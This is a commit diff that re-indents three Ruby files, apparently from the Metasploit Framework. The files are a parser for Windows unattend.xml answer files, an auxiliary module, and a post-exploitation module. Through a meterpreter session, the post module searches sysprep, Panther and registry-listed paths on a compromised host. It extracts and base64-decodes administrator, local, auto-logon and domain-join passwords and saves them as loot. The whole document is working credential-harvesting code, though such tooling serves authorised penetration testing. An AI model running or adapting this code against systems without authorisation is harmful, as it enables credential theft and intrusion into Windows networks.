Retab changes for PR #1770
parent
269c1a26cb
commit
2846a5d680
|
@ -11,161 +11,161 @@ module Parser
|
||||||
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
|
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
|
||||||
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
|
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
|
||||||
class Unattend
|
class Unattend
|
||||||
|
|
||||||
require 'rex/text'
|
require 'rex/text'
|
||||||
|
|
||||||
def self.parse(xml)
|
def self.parse(xml)
|
||||||
return [] if xml.nil?
|
return [] if xml.nil?
|
||||||
results = []
|
results = []
|
||||||
unattend = xml.elements['unattend']
|
unattend = xml.elements['unattend']
|
||||||
return [] if unattend.nil?
|
return [] if unattend.nil?
|
||||||
unattend.each_element do |settings|
|
unattend.each_element do |settings|
|
||||||
next if settings.class != REXML::Element
|
next if settings.class != REXML::Element
|
||||||
settings.get_elements('component').each do |c|
|
settings.get_elements('component').each do |c|
|
||||||
next if c.class != REXML::Element
|
next if c.class != REXML::Element
|
||||||
results << extract_useraccounts(c.elements['UserAccounts'])
|
results << extract_useraccounts(c.elements['UserAccounts'])
|
||||||
results << extract_autologon(c.elements['AutoLogon'])
|
results << extract_autologon(c.elements['AutoLogon'])
|
||||||
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
||||||
results << extract_domain_join(c.elements['Identification/Credentials'])
|
results << extract_domain_join(c.elements['Identification/Credentials'])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return results.flatten
|
return results.flatten
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extract sensitive data from Deployment Services.
|
# Extract sensitive data from Deployment Services.
|
||||||
# We can only seem to add one <Login> with Windows System Image Manager, so
|
# We can only seem to add one <Login> with Windows System Image Manager, so
|
||||||
# we'll only enum one.
|
# we'll only enum one.
|
||||||
#
|
#
|
||||||
def self.extract_deployment(deployment)
|
def self.extract_deployment(deployment)
|
||||||
return [] if deployment.nil?
|
return [] if deployment.nil?
|
||||||
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
||||||
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
||||||
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
||||||
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
if plaintext == 'false'
|
if plaintext == 'false'
|
||||||
password = Rex::Text.decode_base64(password)
|
password = Rex::Text.decode_base64(password)
|
||||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extract sensitive data from 'Secure' Domain Join
|
# Extract sensitive data from 'Secure' Domain Join
|
||||||
#
|
#
|
||||||
def self.extract_domain_join(credentials)
|
def self.extract_domain_join(credentials)
|
||||||
return [] if credentials.nil?
|
return [] if credentials.nil?
|
||||||
domain = credentials.elements['Domain'].get_text.value rescue ''
|
domain = credentials.elements['Domain'].get_text.value rescue ''
|
||||||
username = credentials.elements['Username'].get_text.value rescue ''
|
username = credentials.elements['Username'].get_text.value rescue ''
|
||||||
password = credentials.elements['Password'].get_text.value rescue ''
|
password = credentials.elements['Password'].get_text.value rescue ''
|
||||||
|
|
||||||
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
|
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extract sensitive data from AutoLogon
|
# Extract sensitive data from AutoLogon
|
||||||
#
|
#
|
||||||
def self.extract_autologon(auto_logon)
|
def self.extract_autologon(auto_logon)
|
||||||
return [] if auto_logon.nil?
|
return [] if auto_logon.nil?
|
||||||
|
|
||||||
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
||||||
username = auto_logon.elements['Username'].get_text.value rescue ''
|
username = auto_logon.elements['Username'].get_text.value rescue ''
|
||||||
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
||||||
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
if plaintext == 'false'
|
if plaintext == 'false'
|
||||||
password = Rex::Text.decode_base64(password)
|
password = Rex::Text.decode_base64(password)
|
||||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
|
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extract sensitive data from UserAccounts
|
# Extract sensitive data from UserAccounts
|
||||||
#
|
#
|
||||||
def self.extract_useraccounts(user_accounts)
|
def self.extract_useraccounts(user_accounts)
|
||||||
return[] if user_accounts.nil?
|
return[] if user_accounts.nil?
|
||||||
|
|
||||||
results = []
|
results = []
|
||||||
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
||||||
account_types.each do |t|
|
account_types.each do |t|
|
||||||
element = user_accounts.elements[t]
|
element = user_accounts.elements[t]
|
||||||
next if element.nil?
|
next if element.nil?
|
||||||
|
|
||||||
case t
|
case t
|
||||||
#
|
#
|
||||||
# Extract the password from AdministratorPasswords
|
# Extract the password from AdministratorPasswords
|
||||||
#
|
#
|
||||||
when account_types[0]
|
when account_types[0]
|
||||||
password = element.elements['Value'].get_text.value rescue ''
|
password = element.elements['Value'].get_text.value rescue ''
|
||||||
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
if plaintext == 'false'
|
if plaintext == 'false'
|
||||||
password = Rex::Text.decode_base64(password)
|
password = Rex::Text.decode_base64(password)
|
||||||
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
if not password.empty?
|
if not password.empty?
|
||||||
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Extract the sensitive data from DomainAccounts.
|
# Extract the sensitive data from DomainAccounts.
|
||||||
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
||||||
#
|
#
|
||||||
when account_types[1] #DomainAccounts
|
when account_types[1] #DomainAccounts
|
||||||
element.elements.each do |account_list|
|
element.elements.each do |account_list|
|
||||||
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
||||||
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
||||||
|
|
||||||
results << {'type' => 'domain', 'username' => name, 'group' => group}
|
results << {'type' => 'domain', 'username' => name, 'group' => group}
|
||||||
end
|
end
|
||||||
#
|
#
|
||||||
# Extract the username/password from LocalAccounts
|
# Extract the username/password from LocalAccounts
|
||||||
#
|
#
|
||||||
when account_types[2] #LocalAccounts
|
when account_types[2] #LocalAccounts
|
||||||
element.elements.each do |local|
|
element.elements.each do |local|
|
||||||
password = local.elements['Password/Value'].get_text.value rescue ''
|
password = local.elements['Password/Value'].get_text.value rescue ''
|
||||||
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||||
|
|
||||||
if plaintext == 'false'
|
if plaintext == 'false'
|
||||||
password = Rex::Text.decode_base64(password)
|
password = Rex::Text.decode_base64(password)
|
||||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
username = local.elements['Name'].get_text.value rescue ''
|
username = local.elements['Name'].get_text.value rescue ''
|
||||||
results << {'type' => 'local', 'username' => username, 'password' => password}
|
results << {'type' => 'local', 'username' => username, 'password' => password}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.create_table(results)
|
def self.create_table(results)
|
||||||
return nil if results.nil? or results.empty?
|
return nil if results.nil? or results.empty?
|
||||||
table = Rex::Ui::Text::Table.new({
|
table = Rex::Ui::Text::Table.new({
|
||||||
'Header' => 'Unattend Credentials',
|
'Header' => 'Unattend Credentials',
|
||||||
'Indent' => 1,
|
'Indent' => 1,
|
||||||
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
|
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
|
||||||
})
|
})
|
||||||
|
|
||||||
results.each do |result|
|
results.each do |result|
|
||||||
case result['type']
|
case result['type']
|
||||||
when 'wds', 'auto', 'domain_join'
|
when 'wds', 'auto', 'domain_join'
|
||||||
table << [result['type'], result['domain'], result['username'], result['password'], ""]
|
table << [result['type'], result['domain'], result['username'], result['password'], ""]
|
||||||
when 'admin', 'local'
|
when 'admin', 'local'
|
||||||
table << [result['type'], "", result['username'], result['password'], ""]
|
table << [result['type'], "", result['username'], result['password'], ""]
|
||||||
when 'domain'
|
when 'domain'
|
||||||
table << [result['type'], "", result['username'], "", result['group']]
|
table << [result['type'], "", result['username'], "", result['group']]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return table
|
return table
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,60 +10,60 @@ require 'rex/parser/unattend'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
|
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module parses Unattend files in the target directory.
|
This module parses Unattend files in the target directory.
|
||||||
|
|
||||||
See also: post/windows/gather/enum_unattend
|
See also: post/windows/gather/enum_unattend
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>[
|
'Author' =>[
|
||||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
||||||
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
||||||
],
|
],
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptPath.new('PATH', [true, 'Directory or file to parse.']),
|
OptPath.new('PATH', [true, 'Directory or file to parse.']),
|
||||||
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
|
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
if datastore['RECURSIVE']
|
if datastore['RECURSIVE']
|
||||||
ext = "**/*.xml"
|
ext = "**/*.xml"
|
||||||
else
|
else
|
||||||
ext = "/*.xml"
|
ext = "/*.xml"
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['PATH'].ends_with('.xml')
|
if datastore['PATH'].ends_with('.xml')
|
||||||
filepath = datastore['PATH']
|
filepath = datastore['PATH']
|
||||||
else
|
else
|
||||||
filepath = File.join(datastore['PATH'], ext)
|
filepath = File.join(datastore['PATH'], ext)
|
||||||
end
|
end
|
||||||
|
|
||||||
Dir.glob(filepath) do |item|
|
Dir.glob(filepath) do |item|
|
||||||
print_status "Processing #{item}"
|
print_status "Processing #{item}"
|
||||||
file = File.read(item)
|
file = File.read(item)
|
||||||
begin
|
begin
|
||||||
xml = REXML::Document.new(file)
|
xml = REXML::Document.new(file)
|
||||||
rescue REXML::ParseException => e
|
rescue REXML::ParseException => e
|
||||||
print_error("#{item} invalid xml format.")
|
print_error("#{item} invalid xml format.")
|
||||||
vprint_line(e.message)
|
vprint_line(e.message)
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
results = Rex::Parser::Unattend.parse(xml)
|
results = Rex::Parser::Unattend.parse(xml)
|
||||||
table = Rex::Parser::Unattend.create_table(results)
|
table = Rex::Parser::Unattend.create_table(results)
|
||||||
print_line table.to_s unless table.nil?
|
print_line table.to_s unless table.nil?
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -12,167 +12,167 @@ require 'rexml/document'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module will check the file system for a copy of unattend.xml and/or
|
This module will check the file system for a copy of unattend.xml and/or
|
||||||
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
||||||
extract sensitive information such as usernames and decoded passwords.
|
extract sensitive information such as usernames and decoded passwords.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Sean Verity <veritysr1980[at]gmail.com>',
|
'Sean Verity <veritysr1980[at]gmail.com>',
|
||||||
'sinn3r',
|
'sinn3r',
|
||||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
||||||
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Determine if unattend.xml exists or not
|
# Determine if unattend.xml exists or not
|
||||||
#
|
#
|
||||||
def unattend_exists?(xml_path)
|
def unattend_exists?(xml_path)
|
||||||
x = session.fs.file.stat(xml_path) rescue nil
|
x = session.fs.file.stat(xml_path) rescue nil
|
||||||
return !x.nil?
|
return !x.nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Read and parse the XML file
|
# Read and parse the XML file
|
||||||
#
|
#
|
||||||
def load_unattend(xml_path)
|
def load_unattend(xml_path)
|
||||||
print_status("Reading #{xml_path}")
|
print_status("Reading #{xml_path}")
|
||||||
f = session.fs.file.new(xml_path)
|
f = session.fs.file.new(xml_path)
|
||||||
raw = ""
|
raw = ""
|
||||||
until f.eof?
|
until f.eof?
|
||||||
raw << f.read
|
raw << f.read
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
xml = REXML::Document.new(raw)
|
xml = REXML::Document.new(raw)
|
||||||
rescue REXML::ParseException => e
|
rescue REXML::ParseException => e
|
||||||
print_error("Invalid XML format")
|
print_error("Invalid XML format")
|
||||||
vprint_line(e.message)
|
vprint_line(e.message)
|
||||||
return nil, raw
|
return nil, raw
|
||||||
end
|
end
|
||||||
|
|
||||||
return xml, raw
|
return xml, raw
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Save Rex tables separately
|
# Save Rex tables separately
|
||||||
#
|
#
|
||||||
def save_cred_tables(cred_table)
|
def save_cred_tables(cred_table)
|
||||||
t = cred_table
|
t = cred_table
|
||||||
vprint_line("\n#{t.to_s}\n")
|
vprint_line("\n#{t.to_s}\n")
|
||||||
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
|
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
|
||||||
print_status("#{t.header} saved as: #{p}")
|
print_status("#{t.header} saved as: #{p}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Save the raw version of unattend.xml
|
# Save the raw version of unattend.xml
|
||||||
#
|
#
|
||||||
def save_raw(xmlpath, data)
|
def save_raw(xmlpath, data)
|
||||||
return if data.empty?
|
return if data.empty?
|
||||||
fname = ::File.basename(xmlpath)
|
fname = ::File.basename(xmlpath)
|
||||||
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
||||||
print_status("Raw version of #{fname} saved as: #{p}")
|
print_status("Raw version of #{fname} saved as: #{p}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# If we spot a path for the answer file, we should check it out too
|
# If we spot a path for the answer file, we should check it out too
|
||||||
#
|
#
|
||||||
def get_registry_unattend_path
|
def get_registry_unattend_path
|
||||||
# HKLM\System\Setup!UnattendFile
|
# HKLM\System\Setup!UnattendFile
|
||||||
begin
|
begin
|
||||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
||||||
fname = key.query_value('Setup!UnattendFile').data
|
fname = key.query_value('Setup!UnattendFile').data
|
||||||
return fname
|
return fname
|
||||||
rescue Rex::Post::Meterpreter::RequestError
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
return ''
|
return ''
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initialize all 7 possible paths for the answer file
|
# Initialize all 7 possible paths for the answer file
|
||||||
#
|
#
|
||||||
def init_paths
|
def init_paths
|
||||||
drive = session.fs.file.expand_path("%SystemDrive%")
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
||||||
|
|
||||||
files =
|
files =
|
||||||
[
|
[
|
||||||
'unattend.xml',
|
'unattend.xml',
|
||||||
'autounattend.xml'
|
'autounattend.xml'
|
||||||
]
|
]
|
||||||
|
|
||||||
target_paths =
|
target_paths =
|
||||||
[
|
[
|
||||||
"#{drive}\\",
|
"#{drive}\\",
|
||||||
"#{drive}\\Windows\\System32\\sysprep\\",
|
"#{drive}\\Windows\\System32\\sysprep\\",
|
||||||
"#{drive}\\Windows\\panther\\",
|
"#{drive}\\Windows\\panther\\",
|
||||||
"#{drive}\\Windows\\Panther\Unattend\\",
|
"#{drive}\\Windows\\Panther\Unattend\\",
|
||||||
"#{drive}\\Windows\\System32\\"
|
"#{drive}\\Windows\\System32\\"
|
||||||
]
|
]
|
||||||
|
|
||||||
paths = []
|
paths = []
|
||||||
target_paths.each do |p|
|
target_paths.each do |p|
|
||||||
files.each do |f|
|
files.each do |f|
|
||||||
paths << "#{p}#{f}"
|
paths << "#{p}#{f}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# If there is one for registry, we add it to the list too
|
# If there is one for registry, we add it to the list too
|
||||||
reg_path = get_registry_unattend_path
|
reg_path = get_registry_unattend_path
|
||||||
paths << reg_path if not reg_path.empty?
|
paths << reg_path if not reg_path.empty?
|
||||||
|
|
||||||
return paths
|
return paths
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
init_paths.each do |xml_path|
|
init_paths.each do |xml_path|
|
||||||
# If unattend.xml doesn't exist, move on to the next one
|
# If unattend.xml doesn't exist, move on to the next one
|
||||||
if not unattend_exists?(xml_path)
|
if not unattend_exists?(xml_path)
|
||||||
vprint_error("#{xml_path} not found")
|
vprint_error("#{xml_path} not found")
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
xml, raw = load_unattend(xml_path)
|
xml, raw = load_unattend(xml_path)
|
||||||
save_raw(xml_path, raw)
|
save_raw(xml_path, raw)
|
||||||
|
|
||||||
# XML failed to parse, will not go on from here
|
# XML failed to parse, will not go on from here
|
||||||
return if not xml
|
return if not xml
|
||||||
|
|
||||||
results = Rex::Parser::Unattend.parse(xml)
|
results = Rex::Parser::Unattend.parse(xml)
|
||||||
table = Rex::Parser::Unattend.create_table(results)
|
table = Rex::Parser::Unattend.create_table(results)
|
||||||
table.print unless table.nil?
|
table.print unless table.nil?
|
||||||
print_line
|
print_line
|
||||||
|
|
||||||
# Save the data
|
# Save the data
|
||||||
save_cred_tables(table) if not table.nil?
|
save_cred_tables(table) if not table.nil?
|
||||||
|
|
||||||
return if not datastore['GETALL']
|
return if not datastore['GETALL']
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue